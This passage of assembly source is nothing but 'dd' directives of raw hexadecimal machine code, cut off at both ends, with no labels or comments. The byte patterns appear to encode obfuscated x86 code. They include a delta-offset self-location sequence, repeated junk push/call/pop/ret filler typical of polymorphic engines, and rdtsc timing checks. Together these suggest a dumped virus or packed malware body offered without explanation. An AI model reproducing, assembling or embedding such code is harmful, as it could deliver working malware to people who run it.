0E1738149h, 0F4D5212h, 68Dh dd 5D8D8900h, 8B060328h, 31059BDh, 52509006h, 0FF28B66h dd 0CE931h, 9B400000h, 0DE0E43A6h, 0B88C6892h, 585A1C77h dd 5E950h, 0F1BE0000h, 90EB44EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 6DC35343h, 0B531A724h, 6032F3Dh dd 13E195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0E7669CC3h, 8D8D09C1h, 603227Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 22C35646h dd 66E21F2Ch, 1C7FE8Bh, 0 dd 29FAE681h, 41C7076Ch, 4, 9D315200h, 60329F9h, 15BD895Eh dd 0B06031Fh, 5C840FC0h, 0BE000000h, 3788BF0h, 4D1C8D8Dh dd 0BE90603h, 0D5000000h, 0A0ED952Ah, 0E98665F7h, 5B809BAh dd 0E9000000h, 0Ah, 0E006C88Fh, 0FB8E78FEh, 0E1FF5FD9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1BC35747h dd 0B7B7910Fh, 85A5158Dh, 799D89D8h, 306031Eh, 0F04FE9CAh dd 8166FFFFh, 0BEA269DFh, 6778CACFh, 0B503C18Bh, 60308CDh dd 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BF050C3h, 6AF18BF3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0B85CC353h, 8A0F2AA7h, 5, 0CA2A39BEh, 9D8B6015h, 6031A09h dd 1269BD8Bh, 8D610603h, 3281185h, 0F2BF0F06h, 0F525090h dd 85h, 0E8310F00h, 6, 0B1CBCBD5h, 800FD70Fh, 0 dd 50585A5Eh, 4840Fh, 0BE660000h, 6A909EE3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8827C357h, 0A11354B7h, 6850Fh, 0B58B0000h, 6031FCDh dd 6A006Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0E9C35141h, 0F6FCBE9h, 68Dh, 0F1B58B00h, 8D060311h dd 6D9A185h, 0C5BD8906h, 8306032Eh, 6A05C0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 612D2EC3h dd 44CE633Ah, 90313712h, 21F2BE66h, 90616050h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9AC35545h, 514C297h dd 0B1DB589h, 8B0F0603h, 3, 6AF08B66h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 2F5DEBCCh, 0FF006AF7h, 30CC995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 95788B1Bh dd 0A6685C33h, 97479D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8D89FBC3h, 6032465h dd 0B58BD3FFh, 60325E5h, 2A1585FFh, 80600603h, 0D0813FEAh dd 63CF2351h, 9F8E961h, 0E80000h, 5D000000h, 0D9ABED81h dd 85010606h, 60311A1h, 2879BD81h, 7D00603h, 860F0000h dd 1CAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 61C35545h, 66FA0AA4h, 0FF08BBEh, 181h, 9D8BFC00h dd 6031BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 17C35343h, 0F779E638h, 0BAA2C674h, 598D8914h, 0F060323h dd 583h, 0EE816600h, 0E3815166h, 100h, 850FDB0Bh, 0BDh dd 33EF8160h, 0E844110Eh, 13h, 17D79611h, 0DB16DB68h, 0D5E272B4h dd 8D94B09Eh, 29C0A284h, 3299D85h, 83615B06h, 6D7BABDh dd 840F0006h, 4Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0B6C35747h, 80880AA2h, 0A6E9870Dh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FC15C351h, 1CCD9531h, 8B660603h, 0BA85C7F7h dd 10606D7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 35A7C353h, 0E389D4C3h dd 50E9h, 0D58D2900h, 8106030Fh, 3DB48AF6h, 0BA85C764h dd 606D7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 474C356h, 11ADBD89h, 0E9600603h dd 10h, 0CE7D447Fh, 89B4887Eh, 9C19F383h, 70BDCFD1h, 0C99D8D61h dd 6A06031Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 2B1AC357h, 2CB8CBC4h, 0B58B144Dh dd 60326ADh, 0FEFF2381h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 847CEAC3h, 8C6653B3h dd 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8B67CDE6h, 3125DB5h, 4C3F606h, 7A840Fh dd 31600000h, 30FFDB5h, 5CD4BF06h, 0FF616053h, 311A595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 49C8C871h, 8166CA66h, 50CDB6C6h, 10E8h dd 25605C00h, 62EF1CF0h, 4C4173E1h, 1B06C538h, 0FE88Eh dd 3CBA0000h, 6A54F06Dh, 0A05456D5h, 6F941A54h, 5E81Dh dd 90390000h, 5EEDD1AAh, 4895E5Eh, 890F24h, 0F5000000h dd 364E9h, 15B58B00h, 0B0060323h, 0FA8B6000h, 70E661F9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5CC35141h dd 4087425Eh, 8901F36Bh, 30601B5h, 6A71E406h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 8B02C356h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 41A2C353h, 6BAE36Dh dd 8B000000h, 299589C3h, 0C106030Ah, 816604E8h, 0F929C5EEh dd 81E2F766h, 5C9BDED6h, 6AD82B7Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 35FDC355h dd 2D929501h, 0B50B299Dh, 603306Dh, 5E85093h, 67000000h dd 4D74549Ah, 0FE960h, 3E590000h, 729F2589h, 0E514E2ABh dd 0E4703FB6h, 0EABE6642h, 935E615Bh, 26118D89h, 0B5FF0603h dd 6032879h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 2DC35040h, 8D2360FEh, 60303F1h, 71950161h, 0FF060313h dd 31FB995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0B0743D1Dh, 0C1952900h, 0E606030Fh dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0F12583BBh, 0F28B71E4h, 830F613Ch, 1E9h dd 9E9h, 0F2871400h, 0E167ED52h, 0B60F10BEh, 50006AD8h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1C009AFBh, 0B58B921Fh, 6030975h, 6BAh, 66C38B00h, 1634F681h dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 748CC356h, 86703185h, 0E2F7660Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FEC35646h dd 53C9BC9Dh, 2B24337Dh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 5841C635h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 28C35343h, 66DB7AF8h dd 0D82BF08Bh, 10F880Fh, 12E80000h, 0E0000000h, 0D61BEE5Fh dd 31263751h, 7DDBE553h, 8374E24Bh, 0DDB589ACh, 5E06031Eh dd 1EDB589h, 7B90603h, 8B000000h, 32089B5h, 0C18306h, 860FD93Bh dd 0D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 25C35242h, 0BE66136Eh, 8C668E29h, 0C9B58BD9h, 2906032Bh dd 31ECD85h, 4C1F606h, 93840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 91D055C3h dd 0A595FF72h, 89060311h, 31D699Dh, 5958906h, 5B060332h dd 9E99589h, 0C32B0603h, 132DB58Bh, 343D0603h, 0F000008h dd 4886h, 14E900h, 0B1640000h, 0FBF5BD72h, 0E233137Eh dd 0DD76680Ch, 886F599Dh, 32E96ACFh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 379EC357h, 85C2AECDh, 8B456E7Fh, 32389B5h, 23C08B06h dd 31E71B5h, 8BC38B06h, 45B589D8h, 0C7060301h, 3293D85h dd 747B906h, 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 66603358h, 8B60FB8Bh, 32D6D95h, 6161F906h dd 0C08BF38Bh, 81F0BF0Fh, 32879BDh, 7D006h, 53850F00h dd 0E8000000h, 12h, 6C08BFE0h, 8F7A8425h, 5F520437h, 57269A0h dd 0BE8F57Eh, 17000000h, 972DBC61h, 0DB24612Fh, 0F78BE392h dd 85FF5E5Eh, 6032879h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0C4C35141h, 9CD966A6h, 0B5FF2691h, 6032879h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7CC35646h dd 0E9F63EBCh, 95FF8D0Ah, 6031FB9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0FC35646h, 0EB1C8CECh, 8501500Dh dd 60311DDh, 255DBD89h, 8B900603h, 880FD8h, 83000000h dd 32CDDBDh, 840F0006h, 36h, 209DB589h, 0C9E90603h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 7D21C351h, 0C40D2C9h, 2956DB46h, 30C5185h dd 0DF8C5E06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 83C35545h, 6E90BD2Fh, 0A2BB90D0h, 0A995899Dh, 66060310h dd 4C7F7h, 266850Fh, 0B50B0000h, 60331A9h, 8589FF2Bh, 6032999h dd 0E3179D8Dh, 0B58B0606h, 603097Dh, 50525093h, 0F616052h dd 0F585A31h, 8B665731h, 585A5EF2h, 93F08B50h, 2C018D89h dd 0FF640603h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0FD322EAAh, 0BE6672AEh dd 896432DBh, 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0DD662223h, 8E0FC48Bh dd 0Ah, 4830Fh, 0BE660000h, 1CD7443h, 6A00EBh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E9D958C3h, 5, 38AC60Ch, 39B58B35h, 6A06031Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 8E2CC352h, 0B53365C7h, 6033211h, 14E9h, 82423B00h, 1EE9C2EAh dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 58F64E8h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 93C35242h dd 83F2BF0Fh, 0BDBE04C4h, 0B63FB76h, 25840FC0h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E066C356h, 0FA6C871Eh, 14E9h, 0ABCA3100h dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0F6B70F44h dd 4D1CBD8Dh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0EBEB12C3h, 5B8F5h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D2CE49C3h, 5536C81Fh, 6AE7FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 57AC4CC3h, 10245C8Bh dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h dd 0B8h, 0C0335F02h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 57006A54h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 5AB64611h dd 13E865h, 2EFE0000h, 61FF03Eh, 925B631Dh, 7262E663h dd 0D4095170h, 499D310Fh, 5E060321h, 0BE9CA2Bh, 8BFFFFF6h dd 0C18BF5F2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 5FC35343h, 0C48CDABFh, 4EB21h, 0E8000000h, 14h dd 7F303145h, 85D7E423h, 1D7A8232h, 653A7B4Fh, 10BAE66Bh dd 8E9h, 0DF073500h, 71D021Dh, 0FCBF5FB7h, 6A370B6Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 140CC351h, 0C999F4FFh, 0F795056h, 189h, 858DF800h, 6032811h dd 2D8D3151h, 5F060302h, 0AD37BF56h, 505F084Ch, 14E95250h dd 0AB000000h, 51AB9749h, 2F2DA4B2h, 8B68E787h, 0B440D97h dd 0FCECB02h, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0C6C8CFC3h, 408E2FBEh dd 0DE9h, 0EDD31200h, 2260E3FEh, 0A3833975h, 6A0B7Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7CC35242h, 6ACB1Eh dd 28519589h, 858D0603h, 606E5DFh, 3820Fh, 0BF0F0000h dd 5C083F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 11C35747h, 9E0F02E7h, 900CBC0Ah, 0CABE6650h, 0F505EADh dd 88Bh, 60525000h, 5A310F61h, 6A9058h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 6BBFF9C3h dd 0CEE1D7D0h, 89657A3Ah, 3201195h, 89006A06h, 3096985h dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 6F37C356h, 0E8A1F6E6h, 0Ch, 0F615A49Ah dd 43945E96h, 0D1239AB4h, 14E9h, 8F3B4A00h, 381C0BEEh dd 0CB8FDE35h, 9721BBA5h, 0C870B353h, 95FF5F01h, 6030CC9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6FC35040h dd 0E2868CAEh, 8D97F3E1h, 697479Dh, 0FA8B6606h, 85FFD3FFh dd 6032A15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 2BC35646h, 0CB65DAE1h, 8B0FBBh, 0E9000000h, 86Bh dd 0E8h, 0ED815D00h, 606E5E9h, 10658589h, 0BD810603h, 6032879h dd 7D0h, 183860Fh, 66F90000h, 54D5CE81h, 25CD9D8Bh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 333372C3h, 0EF773182h, 0BFD9C197h, 761B8735h, 100E381h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 3F155FC3h, 0BC10BD9h, 0E2850FDBh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 1D96C356h, 0D5191AB3h, 12E9h, 7CD12B00h dd 0D96D8755h, 1C06EC09h, 73C7425h, 29629BBCh, 31B4595h dd 0C3BD8306h, 606E3h, 52840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 711A1BC3h dd 0BD89A047h, 6032E39h, 7CE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 7493BFCh, 6640EC23h dd 0E175E781h, 0E3C385C7h, 10606h, 12E90000h, 0A1000000h dd 0AB923343h, 12B51242h, 176A4EDEh, 24297285h, 2FE9E3h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BF0F83C3h, 0C385C7FEh, 606E3h, 9000000h dd 3304DB5h, 0CD9D8D06h, 81060325h, 0FFFEFF23h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B0665FE8h, 0DB8C66CCh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0E5C35242h, 0EBF3652h, 0D681CA62h, 42B7ACFBh dd 0F04C3F6h, 7584h, 0FE96000h, 0D6000000h, 0C0189DC2h dd 0BD6CE064h, 57045A9Fh, 8A0F3997h, 6, 23398D31h, 0FF610603h dd 311A595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0B7E8BA0Eh, 2991B529h, 0E9570603h dd 0Fh, 490E743Fh, 1B306D7Ch, 4651D700h, 5F0AC1F6h, 8FBE6690h dd 66905016h, 7797D681h, 30AD8589h, 53E90603h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 91E8C355h, 7B8CF9FAh, 81666041h, 0E9E4D6CBh dd 0Ah, 5B94CF0h, 42612573h, 0B061E020h, 618D8900h, 0E6060330h dd 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 14E831h, 6C9A0000h, 8E27739Fh, 0F5D4DFC8h dd 8F48B78Ch, 0C52CF095h, 85893502h, 6030631h, 0E871E45Eh dd 10h, 0EB857680h, 0B29D4C14h, 0DEAD7B38h, 33337277h dd 2541B58Bh, 0F5E0603h, 8509D8B6h, 6032A35h, 6BAh, 7890F00h dd 50000000h, 7C26F6BFh, 0BD895E08h, 6032CD9h, 0E8C1C38Bh dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F766F5D1h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E3FF9922h dd 0E8303233h, 13h, 9696FED6h, 1151283Eh, 0D8A028D7h, 4C705737h dd 0E8AD5439h, 0Ch, 3302E300h, 5DE50543h, 0EFBD7C79h, 5EF6BF0Fh dd 9D01605Eh, 6032D09h, 12E9h, 574B3000h, 4CA8C124h, 43F36D51h dd 85C4CD45h, 61D53FC1h, 881AF681h, 0D82B70A2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 89C35545h, 71C3C0CDh dd 0BF0FB28Eh, 8E0F93FEh, 8, 2810Fh, 61600000h, 935E5250h dd 79B5FFF9h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 8C66C353h, 0C697BE7Eh dd 81661B13h, 0FF6697D6h, 31FB995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD234A12h dd 6032459h, 858900B0h, 60323DDh, 8B0F70E6h, 0 dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0F2308EC3h, 9F1EED5h, 32EFDB5h, 5BD8906h dd 3C060332h, 23830F61h, 89000002h, 3011D9Dh, 0CBE6606h dd 0D8B60F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0DDC35040h, 0FE9D08Fh, 6000000h, 0CFA161E2h, 99F81D8Dh dd 19323255h, 9E9183Dh, 0BB000000h, 3647D786h, 306FD9Ah dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 9AEC221h, 0CC2AD2FBh, 0AE9E5h, 0BE7F0000h dd 7CD448A6h, 8267384Eh, 68B0Fh, 0BD8B0000h, 6031D3Dh dd 8D89C38Bh, 60324E9h, 8904E8C1h, 3200595h, 0E2F76606h dd 9E9h, 591A7300h, 0BE6ED6AEh, 0D82B1E07h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 50C35040h, 0BD8B58F8h dd 6031B8Dh, 880FD82Bh, 142h, 2309BD23h, 7B90603h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 162AC357h, 0C183D4h, 3BF2B70Fh, 0B860FD9h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 85DCC352h, 0FB3FFE9h, 883h, 0BD8B5200h dd 6030951h, 0D98C665Eh, 0F04C1F6h, 0A684h, 68C0F00h, 29000000h dd 32089BDh, 0A595FF06h, 89060311h, 313E5B5h, 6A5B06h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 91CBEBC3h, 12999D31h, 0C32B0603h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0E4C35242h, 0BBF14443h, 8B23061Dh dd 32379BDh, 8343D06h, 860F0000h, 33h, 0D59D8B60h, 66060331h dd 61310AB8h, 4DE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 398D8996h, 8B060323h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 9E1C7181h, 8068E639h, 7B37E781h, 0C38B5805h dd 8D89D88Bh, 6031451h, 52E68166h, 0C985C7F0h, 3706031Bh dd 8B389617h, 0B98D01C0h, 8106032Ch, 32879BDh, 7D006h dd 53850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 4287C357h, 7985FFD6h dd 6A060328h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 5DA3C352h, 0CE997h, 42AD0000h dd 9F2272F4h, 9B9378A9h, 0B5FFF88Bh, 6032879h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0E9BD339Ch dd 0FF060322h, 31FB995h, 6A90F806h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 403BC350h dd 89F9E79Fh, 30F79BDh, 29952906h, 1060311h, 303C9BDh dd 99D2906h, 3306031Dh, 3063DBDh, 6AF38B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 4E89C352h, 75FA6523h, 403BD501h, 6AFABF0Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 40D3C355h, 60CC37C7h, 0F732D8B5h, 89F28B66h, 32C4585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8123362Eh, 9425C6EFh, 4DB58B0Eh, 6A06030Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 29A9C353h, 6AA47BC1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9B3AC352h dd 8D31F2F0h, 6032EF5h, 0FFF79BE9h, 898589FFh, 8B06030Fh dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0F9E8DC69h, 66416102h, 4EBF18Bh, 0 dd 919BD8Bh, 0B5230603h, 6032BBDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0A9C35545h, 0DB51B2CCh, 899D8909h dd 8D060306h, 3281185h, 0ADBD0B06h, 9006031Ch, 8E0Fh, 66500000h dd 6A90FA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 8BECC352h, 6650DD1Bh, 6A8FD053h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 70FA1E5Dh, 6AE42269h, 9DE78100h, 8D13666Dh dd 6F04385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0E96F9639h, 11h, 2F104DF0h, 7A2355C0h dd 0C62F66D4h, 0B9C0237Bh, 858953D1h, 60309CDh, 5C0835Fh dd 22D98D29h, 0E8900603h, 7, 0BB975975h, 0E9C2F04Bh, 11h dd 89394BC2h, 0C377655Eh, 522AC01Eh, 0C5CFE975h, 0BE505E43h dd 28E62B40h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0C244FE14h, 0DE1D8333h, 0AE89867h dd 66000000h, 95417ADEh, 0BCB14652h, 6A5FF81Dh, 58A0F00h dd 0BE000000h, 7D14D32h, 850F006Ah, 6, 1B058529h, 0DE90603h dd 61000000h, 6BBFF95Fh, 0CEE1D7D0h, 0AB657A3Ah, 0CC995FFh dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 81EEF7C3h, 0A973C1EFh, 479D8D33h, 89060697h dd 310EDBDh, 8BD3FF06h, 3254DB5h, 1585FF06h, 5106032Ah dd 9E9h, 0BD939A00h, 15D35AECh, 0E95E8BCBh, 7D1h, 0E8h dd 0ED815D00h, 606F04Dh, 143DBD29h, 0BD810603h, 6032879h dd 7D0h, 12B860Fh, 8BF50000h, 312F19Dh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0EDBE6612h, 9B52B86h, 81060325h, 100E3h, 0F6815300h dd 5119DE45h, 0FDB0B5Fh, 0AB85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C5A5550Ah dd 32564BA1h, 0BF66E035h, 858901E7h, 6032C51h, 0EE78BD83h dd 0F000606h, 884h, 78E900h, 0BF0F0000h, 7885C7FBh, 10606EEh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 79BBC355h, 10D0EE32h, 0B9A621C8h dd 0A5BD8952h, 5F06032Ch, 39E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B0A9C742h dd 0D327FE49h, 51BA6050h, 6166837Fh, 0EE7885C7h, 606h dd 0BE660000h, 9D8D1DB4h, 60312F1h, 8688EE81h, 23815FB2h dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 9EC35747h, 0DB8C66C0h, 5CB1E0BEh, 4C3F636h, 63840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 1B47A2C3h, 0A595FFD9h, 6A060311h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BFFC355h, 31C7DBDh, 7E806h, 226E0000h, 339B9BC3h, 553CBE8Ah dd 905F29E1h, 9050F78Bh, 0CBC78166h, 45FE996h, 0CE810000h dd 4FB6AF6Ah, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 2905BAC3h, 3311985h, 128B0F06h dd 0F000000h, 0C8Bh, 7E900h, 0AD520000h, 0FCB7208Fh, 4091BEB2h dd 70E6155Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2DC35040h, 6004029Ah, 1DE98166h, 9D8953D7h, 6031465h dd 71E46159h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 1AC35646h, 0B58B3CBCh, 6032BC9h, 6AD8B60Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0F93FC350h, 6BAh, 7DBD8900h, 8B060332h, 57006AC3h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 6BADF61Ah, 7758F96Eh, 0E99D89BCh, 0C106031Eh, 37BF04E8h dd 66295CA3h, 12E9E2F7h, 33000000h, 0E4B04E04h, 9CFF2C82h dd 0D8B0121Fh, 0B21B0AA7h, 6AD82BF6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8C38C355h dd 0D8E3F668h, 895E5650h, 0FE9241Ch, 82000000h, 2A04CF22h dd 0DEB9E70Eh, 3FD8D82Bh, 0B5FF6A22h, 6032879h, 53DE8166h dd 0B995FFB1h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0DDD0C352h, 0B4C2F707h dd 0C5E242DBh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0EF58EC3h, 820FA738h, 8, 0D5BD8953h dd 5E06032Ah, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 68FE3C3h, 47B6BD0Dh, 41BD8BAFh dd 0E4060304h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 7A88948Dh, 0F613CCBh dd 25083h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0B485BE51h, 0B60F5A43h, 7DCE81D8h dd 0BA77DBFAh, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0E7C35141h, 85898A99h, 6031C41h, 0C38BF88Bh, 0E852006Ah dd 